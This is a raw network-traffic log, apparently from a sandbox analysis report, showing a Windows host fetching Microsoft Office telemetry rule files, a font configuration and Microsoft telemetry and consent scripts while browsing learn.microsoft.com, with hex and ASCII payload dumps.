2024-11-21 13:26:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132649Z-178bfbc474bq2pr7hC1NYCkfgg00000001ng00000000edxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132650Z-178bfbc474bv7whqhC1NYC1fg400000001k0000000008g53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:50 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:50 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 853e1beb-101e-00a2-3cbf-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132650Z-r1d97b9957789nh9hC1TEBxha80000000adg00000000g9cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:26:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49792	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 13:26:51 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=184679 Date: Thu, 21 Nov 2024 13:26:51 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 13:26:51 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49793	13.107.246.45	443	3608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:51 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:26:51 UTC	868	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:51 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241121T132651Z-1777c6cb754ww792hC1TEBzqu40000000b1g000000005xx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:51 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-21 13:26:51 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-21 13:26:51 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49794	13.107.246.45	443	3608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:51 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:26:51 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:51 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22877 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 09b6fa6f-101e-0038-42e3-3b8981000000 x-ms-version: 2009-09-19 x-azure-ref: 